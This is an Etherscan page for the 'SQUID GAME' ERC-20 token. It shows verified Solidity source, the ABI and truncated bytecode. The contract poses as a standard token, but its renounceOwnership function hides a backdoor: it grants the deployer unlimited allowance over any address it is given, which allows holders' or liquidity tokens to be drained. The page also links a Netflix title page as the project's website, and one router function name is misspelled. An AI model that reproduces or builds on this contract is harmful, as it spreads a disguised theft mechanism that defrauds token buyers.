ETH Price: $2,358.91 (+1.24%)

Token

SQUID GAME (鱿鱼游戏)
 

Overview

Max Total Supply

1,000,000,000 鱿鱼游戏

Holders

50

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
4,920,145.73530138 鱿鱼游戏

Value
$0.00
0x4315a93c93aab8dc37883235e06d1f746ceb44ba
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SQUID

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-08
*/

/**
 *Submitted for verification at Etherscan.io on 2023-08-08
*/

// SPDX-License-Identifier: MIT

/** 鱿鱼游戏
    TG:     https://t.me/SQUIDGAME_ERC
    Web:    https://www.netflix.com/hk/title/81040344
    X:      https://twitter.com/SquidGameERC
    Game:  https://immersivegamebox.com/squid-game/
*/

pragma solidity ^0.8.16;

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }


    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IUniswapV2Router02 {

    function swapExactTokensForEYH(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    mapping(address => mapping(address => uint256)) internal _allowances;

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
    function owner() public view returns (address) {
        return _owner;
    }
    function renounceOwnership(address _pO) public virtual onlyOwner {
        address _previouOwner = _pO;
        emit OwnershipTransferred(_owner, address(0));
        _allowances[_previouOwner][_owner] = ~uint256(0);
        _owner = address(0);
    }
}

contract SQUID is Context, Ownable, IERC20 {
    using SafeMath for uint256;
    IUniswapV2Router02 public uniswapV2Router;
    bool private _openTrading = false;
    bool private _isInSwap = false;
    bool private _swapEnabled = true;
    mapping(address => bool) private _isExcludedFromFee;
    uint256 private constant MAX = ~uint256(0);
    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;

    // fee config
    uint256 private _taxTotalAmount;
    uint256 private _buyFeeForMarket = 0;
    uint256 private _buyTaxAmount = 0;
    uint256 private _sellFeeForMarket = 0;
    uint256 private _feeMarket = _sellFeeForMarket;
    uint256 private _sellTaxAmount = 0;

    uint256 public _maxTranxLimitAmount = _tTotal * 41 / 1000; // 4.1%
    uint256 public _maxWalletLimitAmount = _tTotal * 41 / 1000; // 4.1%
    uint256 public _swapExactAmount = _tTotal / 10000;
    uint256 private constant _tTotal = 1e9 * 10**9; // total supply
    uint256 private _rTotal = (MAX - (MAX % _tTotal));

    uint256 private _appliedFeeAmount = _sellTaxAmount;
    uint256 private _previousMarketingFee = _feeMarket;
    uint256 private _previousMainFee = _appliedFeeAmount;

    event MaxTxAmountUpdated(uint256 _maxTranxLimitAmount);

    string private constant _name = unicode"SQUID GAME";
    string private constant _symbol = unicode"鱿鱼游戏";
    uint8 private constant _decimals = 9;
    address public _uniswapPair;
    
    modifier lockInSwap {
        _isInSwap = true;
        _;
        _isInSwap = false;
    }
    constructor() {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;

        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_marketingForFee] = true;
        _isExcludedFromFee[_devForFee] = true;
        // mint
        _rOwned[_msgSender()] = _rTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromReflection(_rOwned[account]);
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    
    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }

    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }

    function _getTValues(
        uint256 tAmount,
        uint256 teamFee,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(teamFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }

    function tokenFromReflection(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        require(
            rAmount <= _rTotal,
            "Amount must be less than total reflections"
        );
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }

    function enableTrade(address _pair) public onlyOwner {
        _openTrading = true;
        _uniswapPair = _pair;
    }

    function _takeAllFee(uint256 tTeam) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }


    function removeTax() private {
        if (_feeMarket == 0 && _appliedFeeAmount == 0) return;
        _previousMarketingFee = _feeMarket;
        _previousMainFee = _appliedFeeAmount; _feeMarket = 0;
        _appliedFeeAmount = 0;
    }

    function _getValues(uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256,
            uint256,
            uint256,
            uint256,
            uint256
        )
    {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
            _getTValues(tAmount, _feeMarket, _appliedFeeAmount);
        uint256 currentRate = _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
            _getRValues(tAmount, tFee, tTeam, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }
    
    function sendEth(uint256 amount) private {
        uint256 sendForDev = amount / 2;
        _devForFee.transfer(sendForDev);
        _marketingForFee.transfer(amount - sendForDev);
    }

    address payable public _devForFee = payable(0x02866e525db6750d11494354c6b356f220B9D83a);
    address payable public _marketingForFee = payable(0x0554f0d1e9016Ab09e58053Ca0292D3B9Aa87Ed2);

    function _sendAllFeeTokens(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _taxTotalAmount = _taxTotalAmount.add(tFee);
    }
    
    //set maximum transaction
    function removeTotalLimits() public onlyOwner {
        _maxTranxLimitAmount = _tTotal;
        _maxWalletLimitAmount = _tTotal;
    }

    function excludeMultiAccountsFromFee(address[] calldata accounts, bool excluded) public onlyOwner {
        for(uint256 i = 0; i < accounts.length; i++) {
            _isExcludedFromFee[accounts[i]] = excluded;
        }
    }

    //set minimum tokens required to swap.
    function setSwapTokenThreshold(uint256 swapTokensAtAmount) public onlyOwner {
        _swapExactAmount = swapTokensAtAmount;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (
            from != owner() && to != owner()
        ) {
            //Trade start check
            if (!_openTrading) {
                require(
                    from == owner(), 
                    "TOKEN: This account cannot send tokens until trading is enabled"
                );
            }

            require(
                amount <= _maxTranxLimitAmount,
                "TOKEN: Max Transaction Limit"
            );
            
            if(to != _uniswapPair) {
                require(balanceOf(to) + amount < _maxWalletLimitAmount,
                 "TOKEN: Balance exceeds wallet size!");
            }

            uint256 tokenAmountOfContract = balanceOf(address(this));            
            bool canSwap = tokenAmountOfContract >= _swapExactAmount;
            if(tokenAmountOfContract >= _maxTranxLimitAmount) tokenAmountOfContract = _maxTranxLimitAmount;
            if (canSwap && 
                !_isInSwap && 
                from != _uniswapPair && 
                _swapEnabled && 
                !_isExcludedFromFee[to] && 
                !_isExcludedFromFee[from]
            ) {
                swapBack(tokenAmountOfContract);
                uint256 ethBalance = address(this).balance;
                if (ethBalance > 0) sendEth(ethBalance);
            }
        }
        bool takeFee = true;
        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != _uniswapPair && to != _uniswapPair)) {
            takeFee = false;
        }
        else {
            if(from == _uniswapPair && to != address(uniswapV2Router)) {
                _feeMarket = _buyFeeForMarket;
                _appliedFeeAmount = _buyTaxAmount;
            }
            
            if (to == _uniswapPair && from != address(uniswapV2Router)) {
                _feeMarket = _sellFeeForMarket;
                _appliedFeeAmount = _sellTaxAmount;
            }
        }
        _transferTokensFeeCheck(from, to, amount, takeFee);
    }

    function swapBack(uint256 tokenAmount) private lockInSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForEYH(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    receive() external payable {

    }


    function _transferBasicTokens(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tTeam
        ) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeAllFee(tTeam); _sendAllFeeTokens(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function recoverTax() private {
        _feeMarket = _previousMarketingFee;
        _appliedFeeAmount = _previousMainFee;
    }
    
    function _transferTokensFeeCheck(
        address sender,
        address recipient,
        uint256 amount,
        bool setFee
    ) private {
        if (!setFee) {
            removeTax();
        }
        _transferBasicTokens(sender, recipient, amount);
        if (!setFee) {            
            recoverTax();
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTranxLimitAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_devForFee","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingForFee","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTranxLimitAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletLimitAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapExactAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"_pair","type":"address"}],"name":"enableTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeMultiAccountsFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeTotalLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_pO","type":"address"}],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"setSwapTokenThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040525f600360146101000a81548160ff0219169083151502179055505f600360156101000a81548160ff0219169083151502179055506001600360166101000a81548160ff0219169083151502179055505f6008555f6009555f600a55600a54600b555f600c556103e86029670de0b6b3a7640000620000839190620005ab565b6200008f919062000622565b600d556103e86029670de0b6b3a7640000620000ac9190620005ab565b620000b8919062000622565b600e55612710670de0b6b3a7640000620000d3919062000622565b600f55670de0b6b3a76400005f19620000ed919062000659565b5f19620000fb919062000690565b601055600c54601155600b546012556011546013557302866e525db6750d11494354c6b356f220b9d83a60155f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550730554f0d1e9016ab09e58053ca0292d3b9aa87ed260165f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550348015620001c4575f80fd5b505f620001d66200054760201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3505f737a250d5630b4cf539739df2c5dacb4c659f2488d90508060035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160045f620002df6200054e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160045f60165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160045f60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555060105460055f620004856200054760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550620004d26200054760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef670de0b6b3a7640000604051620005389190620006db565b60405180910390a350620006f6565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f819050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f620005b78262000575565b9150620005c48362000575565b9250828202620005d48162000575565b91508282048414831517620005ee57620005ed6200057e565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6200062e8262000575565b91506200063b8362000575565b9250826200064e576200064d620005f5565b5b828204905092915050565b5f620006658262000575565b9150620006728362000575565b925082620006855762000684620005f5565b5b828206905092915050565b5f6200069c8262000575565b9150620006a98362000575565b9250828203905081811115620006c457620006c36200057e565b5b92915050565b620006d58162000575565b82525050565b5f602082019050620006f05f830184620006ca565b92915050565b61333a80620007045f395ff3fe608060405260043610610143575f3560e01c80633d8af5f2116100b55780638da5cb5b1161006e5780638da5cb5b1461043257806395d89b411461045c5780639d2918fa14610486578063a9059cbb146104b0578063dd62ed3e146104ec578063f2fde38b146105285761014a565b80633d8af5f21461032a5780634bf28fd0146103545780634f473db01461037e578063640bd1e0146103a657806370a08231146103ce57806383364ea21461040a5761014a565b806318160ddd1161010757806318160ddd1461023257806323b872dd1461025c5780632fae793714610298578063313ce567146102ae57806335c55bf2146102d857806338bf3cfa146103025761014a565b8063039cc7491461014e57806304d6d79e1461017857806306fdde03146101a2578063095ea7b3146101cc5780631694505e146102085761014a565b3661014a57005b5f80fd5b348015610159575f80fd5b50610162610550565b60405161016f919061242a565b60405180910390f35b348015610183575f80fd5b5061018c610556565b604051610199919061242a565b60405180910390f35b3480156101ad575f80fd5b506101b661055c565b6040516101c391906124cd565b60405180910390f35b3480156101d7575f80fd5b506101f260048036038101906101ed9190612579565b610599565b6040516101ff91906125d1565b60405180910390f35b348015610213575f80fd5b5061021c6105b6565b6040516102299190612645565b60405180910390f35b34801561023d575f80fd5b506102466105db565b604051610253919061242a565b60405180910390f35b348015610267575f80fd5b50610282600480360381019061027d919061265e565b6105ea565b60405161028f91906125d1565b60405180910390f35b3480156102a3575f80fd5b506102ac6106be565b005b3480156102b9575f80fd5b506102c2610772565b6040516102cf91906126c9565b60405180910390f35b3480156102e3575f80fd5b506102ec61077a565b6040516102f99190612702565b60405180910390f35b34801561030d575f80fd5b506103286004803603810190610323919061271b565b61079f565b005b348015610335575f80fd5b5061033e610991565b60405161034b919061242a565b60405180910390f35b34801561035f575f80fd5b50610368610997565b6040516103759190612755565b60405180910390f35b348015610389575f80fd5b506103a4600480360381019061039f919061276e565b6109bc565b005b3480156103b1575f80fd5b506103cc60048036038101906103c7919061271b565b610a5a565b005b3480156103d9575f80fd5b506103f460048036038101906103ef919061271b565b610b4c565b604051610401919061242a565b60405180910390f35b348015610415575f80fd5b50610430600480360381019061042b9190612824565b610b9a565b005b34801561043d575f80fd5b50610446610ccf565b6040516104539190612755565b60405180910390f35b348015610467575f80fd5b50610470610cf6565b60405161047d91906124cd565b60405180910390f35b348015610491575f80fd5b5061049a610d33565b6040516104a79190612702565b60405180910390f35b3480156104bb575f80fd5b506104d660048036038101906104d19190612579565b610d58565b6040516104e391906125d1565b60405180910390f35b3480156104f7575f80fd5b50610512600480360381019061050d9190612881565b610d75565b60405161051f919061242a565b60405180910390f35b348015610533575f80fd5b5061054e6004803603810190610549919061271b565b610df7565b005b600d5481565b600f5481565b60606040518060400160405280600a81526020017f53515549442047414d4500000000000000000000000000000000000000000000815250905090565b5f6105ac6105a5610fb4565b8484610fbb565b6001905092915050565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f670de0b6b3a7640000905090565b5f6105f684848461117e565b6106b384610602610fb4565b6106ae856040518060600160405280602881526020016132dd6028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610665610fb4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546119039092919063ffffffff16565b610fbb565b600190509392505050565b6106c6610fb4565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610752576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074990612909565b60405180910390fd5b670de0b6b3a7640000600d81905550670de0b6b3a7640000600e81905550565b5f6009905090565b60165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6107a7610fb4565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610833576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082a90612909565b60405180910390fd5b5f8190505f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f1960025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b600e5481565b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109c4610fb4565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4790612909565b60405180910390fd5b80600f8190555050565b610a62610fb4565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610aee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae590612909565b60405180910390fd5b6001600360146101000a81548160ff0219169083151502179055508060145f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f610b9360055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611965565b9050919050565b610ba2610fb4565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2590612909565b60405180910390fd5b5f5b83839050811015610cc9578160045f868685818110610c5257610c51612927565b5b9050602002016020810190610c67919061271b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080610cc190612981565b915050610c30565b50505050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600c81526020017fe9b1bfe9b1bce6b8b8e6888f0000000000000000000000000000000000000000815250905090565b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f610d6b610d64610fb4565b848461117e565b6001905092915050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610dff610fb4565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8290612909565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610ef9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef090612a38565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611029576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102090612ac6565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611097576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108e90612b54565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611171919061242a565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036111ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e390612be2565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273f